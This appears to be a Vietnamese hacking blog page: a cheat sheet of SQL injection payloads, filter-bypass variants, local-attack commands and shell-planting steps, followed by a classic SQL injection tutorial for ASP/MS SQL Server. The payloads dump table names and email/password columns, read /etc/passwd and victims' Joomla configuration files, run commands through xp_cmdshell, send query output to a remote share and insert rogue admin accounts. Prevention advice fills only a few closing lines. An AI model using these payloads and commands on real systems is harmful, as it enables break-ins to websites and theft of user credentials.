**Get data :id=-... UNION SELECT 1,2,unhex(hex(group_concat(tên cột,0x7c,tên cột,0x7c,tên cột))),4,5,6,7,8,9,10,11,12,13 from tên table-- -
----------------------------------------------------
--------------------------------------------------
Truy vấn table có chữ cái đầu và chữ cái cuối hay chuỗi kí tự Cho Erro base+Xpath:
======> and extractvalue(rand(),concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema=database() and table_name like 'u%')))-- - (chữ cái đầu là u)
======>and extractvalue(rand(),concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema=database() and table_name like '%u')))-- - ( chữ cái cuối là u)
======>and extractvalue(rand(),concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema=database() and table_name like '%user%')))-- - ( Chuỗi kí tự )
--------------------------------------------------
********************Dạng bypass erro base :
1./*!and(select 1 from(select count(*),concat((select concat(0x7c,version())),floor(rand(0)*2))a from information_schema.columns group by a)d)*/
2./*!And(Select 1 From(Select Count(*),Concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rAnd(0)*2))TYN From Information_Schema.columns Group By TYN)vnhack)*/ ~~~> Tăng limit để get thêm table.
3./*!And(Select 1 From(Select Count(*),Concat((select column_name from information_schema.columns where table_schema=database() and table_name=0x... limit 0,1),floor(rAnd(0)*2))TYN From Information_Schema.columns Group By TYN)vnhack)*/
4./*!And(Select 1 From(Select Count(*),Concat((select concat(0x7c,tên côt,0x7c,tên cột) from tên table limit 0,1),floor(rAnd(0)*2))TYN From Information_Schema.columns Group By TYN)vnhack)*/
----------------------------------------------------------
****************XPath Injection(erro base) :
1.and extractvalue(rand(),concat(0x7c,version(),0x7c,database(),0x7c,user()))-- -
2.and extractvalue(rand(),concat(0x7c,(select concat(0x7c,table_name) from information_schema.tables WHERE table_schema=database() limit 0,1)))-- -
3.and extractvalue(rand(),concat(0x7c,(select concat(0x7c,column_name) from information_schema.columns where table_name=0x"table" limit 0,1)))-- -
4.and extractvalue(rand(),concat(0x7c,(select concat("column",0x7c,"column") from "table" limit 0,1)))-- -
-------------------------------------------
***Dạng Bypass Xpath( Khó )
1.' and extractvalue(rand(),concat/*!(0x7c,version(),0x7c,database(),0x7c,user())*/)-- -
2.' and extractvalue(rand(),concat/*!(*/0x7c,(select concat/*!(0x7c,table_name) from /*!information_schema*/.tables where table_schema=database() limit 0,1)))-- -
3.'and extractvalue(rand(),concat/*!(*/0x7c,(select concat/*!(0x7c,column_name) from /*!information_schema*/.columns where table_name=0x"table" limit 0,1)))-- -
4.'and extractvalue(rand(),concat/*!(*/0x7c,(select concat/*!("column",0x7c,"column") from "table" limit 0,1))*/)-- -
-----------------------------------------
*****************XPath Injection(erro base Cao Cấp )
1.or 1 group by concat(0x2f,version(),0x2f,database(),0x2f,user(),0x2f,floor(rand(0)*2)) having min(1) or 1-- - /and updatexml(0,concat(0x7c,version(),0x7c,database(),0x7c,user()),0)-- -
2.and updatexml(0,concat(0x7c,(select concat(0x7c,table_name) from information_schema.tables WHERE table_schema=database() limit 0,1)),0)-- -
3.and updatexml(0,concat(0x7c,(select concat(0x7c,column_name) from information_schema.columns WHERE table_name=0x... limit 0,1)),0)-- -
4.and updatexml(0,concat(0x7c,(select concat(email,0x7c,password) from tên table limit 0,1)),0)-- -
---------------------------------------------
++Khai thác SQL = Erro Base các loại:
http://ku96.blogspot.com/2012/07/mot-so-luu-y-khi-khai-thac-sql.html
http://demo-tainguyen.blogspot.com/2012/05/khai-thac-error-based-quick-blind.html
++Khai thác SQL Blind :
http://ceh.vn/@4rum/showthread.php?tid=1203

++less /etc/passwd
less =cat =more.

Bộ shell : http://www.mediafire.com/download/c42t1hz2954928v/shell.rar
Tìm link adm site
http://root.vn/threads/admin-finder-phan-mem-tim-link-admin-hieu-qua.3400/

++++++++++++++++++Tut LOCAL ATTACK:
http://www.mediafire.com/folder/8lya2k7axwi2y/tutorial
-------------------------BUG JOOMLA 1.5(COM_USER)
+++Công cụ :fire bug.
+++Path:domains/index.php?option=com_user&view=reset&layout=confirm -http://logigear.vn/index.php?option=com_user&view=register
+++Link:http://www.youtube.com/watch?v=kiVfu88mpDA
+++Edit :<input name="jform[groups][]" value="7" />
--------------------------LOCAL ATTACK------------------------------
+++++Tài liệu hướng dẫn Local Attack :http://ceh.vn/@4rum/showthread.php?tid=3031
+++Tut GetRoot cơ bản :http://tutlocal.blogspot.com/2013/06/tut-get-root-can-ban.html & http://www.mediafire.com/download/utyfyjcad47h58y/tut-localroot.rar
+++Lệnh view user đối vs Direc admin :
*cd /etc~~~>cat passwd
*less /etc/virtual/domainowners
+++View chuẩn xác user vs dùng Cpanel:
ls -la /etc/valiases/domain.com
+++View chmod :ls -la /path
+++Lệnh view config sever Joomla :
*less /user/domains/victim.com/public_html/configuration.php (Tùy Path)
+++Cú Pháp SSI SHELL :
Ip/~user/path (Sau public_html)
++Cmd coppy Shell:
cp path shell /home/user victim/public_html/1.php
--------------Pass MD5+SALT:
+++"1ead0efb9e47a371c301afbea8f57274:HmkI9oJSb8qdKzTXwfzJjdKwLSbUZDnZ" = 123456
+++WP :$P$B7u/NYhVtuYh/cBLFwjpMmeyImMaRb.=123456
+++VBB :MD5:bfffa5fdecdaff2ba90ce80234740db5
salt: <QU0OQ*_?^o"#.W>,S@`qpEYvu25l) =123456
-------------------------------An Ninh---------------------
+++Chống LOCAL: Chmod folder 501 và file config về 400 .
-------------------------------SEO---------------------
+++Check pr :http://www.thuvienseo.net/seotools/checkpagerank/
Xem chi tiết »

14 thg 12, 2013

no image

Tấn công kiểu SQL Injection và các phòng chống trong ASP.NET


1. SQL Injection là gì?

SQL Injection là một trong những kiểu hack web đang dần trở nên phổ biến hiện nay. Bằng cách inject các mã SQL query/command vào input trước khi chuyển cho ứng dụng web xử lí, bạn có thể login mà không cần username và password, remote execution, dump data và lấy root của SQL server. Công cụ dùng để tấn công là một trình duyệt web bất kì, chẳng hạn như Internet Explorer, Netscape, Lynx, ...

2. Tìm kiếm mục tiêu

Có thể tìm các trang web cho phép submit dữ liệu ở bất kì một trình tìm kiếm nào trên mạng, chẳng hạn như các trang login, search, feedback, ...
Ví dụ:
http://yoursite.com/index.asp?id=10
Một số trang web chuyển tham số qua các field ẩn, phải xem mã HTML mới thấy rõ. Ví dụ như ở dưới.
<FORM action=Search/search.asp method=post>
<input type=hidden name=A value=C>
</FORM>

3. Kiểm tra chỗ yếu của trang web

Thử submit các field username, password hoặc field id, .. bằng hi' or 1=1--
  • Login: hi' or 1=1--
  • Password: hi' or 1=1--
  • http://yoursite.com/index.asp?id=hi' or 1=1--
Nếu site chuyển tham số qua field ẩn, hãy download source HTML, lưu trên đĩa cứng và thay đổi lại URL cho phù hợp. Ví dụ:
<FORM action=http://yoursite.com/Search/search.asp method=post>
<input type=hidden name=A value="hi' or 1=1--">
</FORM>
Nếu thành công, thì có thể login vào mà không cần phải biết username và password

4. Tại sao ' or 1=1-- có thể vượt qua phần kiểm tra đăng nhập?

Giả sử như có một trang ASP liên kết đến một ASP trang khác với URL như sau:
http://yoursite.com/index.asp?category=food
Trong URL trên, biến 'category' được gán giá trị là 'food'. Mã ASP của trang này có thể như sau (đây chỉ là ví dụ thôi):
v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)
v_cat sẽ chứa giá trị của biến request("category") là 'food' và câu lệnh SQL tiếp theo sẽ là:
SELECT * FROM product WHERE PCategory='food'
Dòng query trên sẽ trả về một tập resultset chứa một hoặc nhiều dòng phù hợp với điều kiện WHERE PCategory='food'
Nếu thay đổi URL trên thành http://yoursite.com/index.asp?category=food' or 1=1-- , biến v_cat sẽ chứa giá trị "food' or 1=1-- " và dòng lệnh SQL query sẽ là:
SELECT * FROM product WHERE PCategory='food' or 1=1--'
Dòng query trên sẽ select mọi thứ trong bảng product bất chấp giá trị của trường PCategory có bằng 'food' hay không. Hai dấu gạch ngang (--) chỉ cho MS SQL server biết đã hết dòng query, mọi thứ còn lại sau "--" sẽ bị bỏ qua. Đối với MySQL, hãy thay "--" thành "#"
Ngoài ra, cũng có thể thử cách khác bằng cách submit ' or 'a'='a. Dòng SQL query bây giờ sẽ là:
SELECT * FROM product WHERE PCategory='food' or 'a'='a'
Một số loại dữ liệu khác mà cũng nên thử submit để biết xem trang web có gặp lỗi hay không:
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a

5. Thi hành lệnh từ xa bằng SQL Injection

Nếu cài đặt với chế độ mặc định mà không có điều chỉnh gì, MS SQL Server sẽ chạy ở mức SYSTEM, tương đương với mức truy cập Administrator trên Windows. Có thể dùng store procedure xp_cmdshell trong CSDL master để thi hành lệnh từ xa:
'; exec master..xp_cmdshell 'ping 10.10.1.2'--
Hãy thử dùng dấu nháy đôi (") nếu dấu nháy đơn (') không làm việc.
Dấu chấm phẩy (sẽ kết thúc dòng SQL query hiện tại và cho phép thi hành một SQL command mới. Để kiểm tra xem lệnh trên có được thi hành hay không, có thể listen các ICMP packet từ 10.10.1.2 bằng tcpdump như sau:
#tcpdump icmp
Nếu nhận được ping request từ 10.10.1.2 nghĩa là lệnh đã được thi hành.

6. Nhận output của SQL query

Có thể dùng sp_makewebtask để ghi các output của SQL query ra một file HTML
'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"
Chú ý: folder "share" phải được share cho Everyone trước.

7. Nhận dữ liệu qua 'database using ODBC error message'

Các thông báo lỗi của MS SQL Server thường đưa cho bạn những thông tin quan trọng. Lấy ví dụ ở trên http://yoursite.com/index.asp?id=10, bây giờ chúng ta thử hợp nhất integer '10' với một string khác lấy từ CSDL:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
Bảng INFORMATION_SCHEMA.TABLES của hệ thống SQL Server chứa thông tin về tất cả các bảng (table) có trên server. Trường TABLE_NAME chứa tên của mỗi bảng trong CSDL. Chúng ta chọn nó bởi vì chúng ta biết rằng nó luôn tồn tại. Query của chúng ta là:
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
Dòng query này sẽ trả về tên của bảng đầu tiên trong CSDL
Khi chúng ta kết hợp chuỗi này với số integer 10 qua statement UNION, MS SQL Server sẽ cố thử chuyển một string (nvarchar) thành một số integer. Điều này sẽ gặp lỗi nếu như không chuyển được nvarchar sang int, server sẽ hiện thông báo lỗi sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int.
/index.asp, line 5
Thông báo lỗi trên cho biết giá trị muốn chuyển sang integer nhưng không được, "table1". Đây cũng chính là tên của bảng đầu tiên trong CSDL mà chúng ta đang muốn có.
Để lấy tên của tên của bảng tiếp theo, có thể dùng query sau:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--
Cũng có thể thử tìm dữ liệu bằng cách khác thông qua statement LIKE của câu lệnh SQL:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--
Khi đó thông báo lỗi của SQL Server có thể là:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int.
/index.asp, line 5
Mẫu so sánh '%25login%25' sẽ tương đương với %login% trong SQL Server. Như thấy trong thông báo lỗi trên, chúng ta có thể xác định được tên của một table quan trọng là "admin_login".

8. Xác định tên của các column trong table

Table INFORMATION_SCHEMA.COLUMNS chứa tên của tất cả các column trong table. Có thể khai thác như sau:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--
Khi đó thông báo lỗi của SQL Server có thể như sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int.
/index.asp, line 5
Như vậy tên của column đầu tiên là "login_id". Để lấy tên của các column tiếp theo, có thể dùng mệnh đề logic NOT IN () như sau:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--
Khi đó thông báo lỗi của SQL Server có thể như sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int.
/index.asp, line 5
Làm tương tự như trên, có thể lấy được tên của các column còn lại như "password", "details". Khi đó ta lấy tên của các column này qua các thông báo lỗi của SQL Server, như ví dụ sau:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--
Khi đó thông báo lỗi của SQL Server có thể như sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.
/index.asp, line 5

9. Thu thập các dữ liệu quan trọng

Chúng ta đã xác định được các tên của các table và column quan trọng. Chúng ta sẽ thu thập các thông tin quan trọng từ các table và column này.
Có thể lấy login_name đầu tiên trong table "admin_login" như sau:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--
Khi đó thông báo lỗi của SQL Server có thể như sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int.
/index.asp, line 5
Dễ dàng nhận ra được admin user đầu tiên có login_name là "neo". Hãy thử lấy password của "neo" như sau:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--
Khi đó thông báo lỗi của SQL Server có thể như sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int.
/index.asp, line 5
Và bây giờ là đã có thể login vào với username là "neo" và password là "m4trix".

10. Nhận các numeric string

Có một hạn chế nhỏ đối với phương pháp trên. Chúng ta không thể nhận được các error message nếu server có thể chuyển text đúng ở dạng số (text chỉ chứa các kí tự số từ 0 đến 9). Giả sử như password của "trinity" là "31173". Vậy nếu ta thi hành lệnh sau:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--
Thì khi đó chỉ nhận được thông báo lỗi "Page Not Found". Lý do bởi vì server có thể chuyển passoword "31173" sang dạng số trước khi UNION với integer 10. Để giải quyết vấn đề này, chúng ta có thể thêm một vài kí tự alphabet vào numeric string này để làm thất bại sự chuyển đổi từ text sang số của server. Dòng query mới như sau:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--
Chúng ta dùng dấu cộng (+) để nối thêm text vào password (ASCII code của '+' là 0x2b). Chúng ta thêm chuỗi '(space)morpheus' vào cuối password để tạo ra một string mới không phải numeric string là '31173 morpheus'. Khi hàm convert() được gọi để chuyển '31173 morpheus' sang integer, SQL server sẽ phát lỗi ODBC error message sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int.
/index.asp, line 5
Và nghĩa là bây giờ ta cũng có thể login vào với username 'trinity' và password là '31173'

11. Thay đổi dữ liệu (Update/Insert) của CSDL

Khi đã có tên của tất cả các column trong table, có thể sử dụng statement UPDATE hoặc INSERT để sửa đổi/tạo mới một record vào table này.
Để thay đổi password của "neo", có thể làm như sau:
http://yoursite.com/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--
Hoặc nếu bạn muốn một record mới vào table:
http://yoursite.com/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--
Và bây giờ có thể login vào với username "neo2" và password là "newpas5"

12. Ngăn chặn SQL Injection

Hãy loại bỏ các kí tự meta như '"/\; và các kí tự extend như NULL, CR, LF, ... trong các string nhận được từ:
  • input do người dùng đệ trình
  • các tham số từ URL
  • các giá trị từ cookie
Đối với các giá trị numeric, hãy chuyển nó sang integer trước khi query SQL, hoặc dùng ISNUMERIC để chắc chắn nó là một số integer.
Thay đổi "Startup and run SQL Server" dùng mức low privilege user trong tab SQL Server Security.
Xóa các stored procedure trong database master mà không dùng như:
  • xp_cmdshell
  • xp_startmail
  • xp_sendmail
  • sp_makewebtask

13. Ngăn chặn SQL Injection trong ASP.NET

Các cách thức ngăn chặn SQL Injection được trình bày ở phần 12 đã bao quát đủ phương pháp, nhưng trong ASP.NET có cách ngăn chặn đơn giản là sử dụng các Parameters khi làm việc với object SqlCommand (hoặc OleDbCommand) chứ không sử dụng các câu lệnh SQL trực tiếp. Khi đó .NET sẽ tự động validate kiểu dữ liệu, nội dung dữ liệu trước khi thực hiện câu lệnh SQL.
Ngoài ra, cũng cần kiểm soát tốt các thông báo lỗi. Và mặc định trong ASP.NET là thông báo lỗi sẽ không được thông báo chi tiết khi không chạy trên localhost.
Xem chi tiết »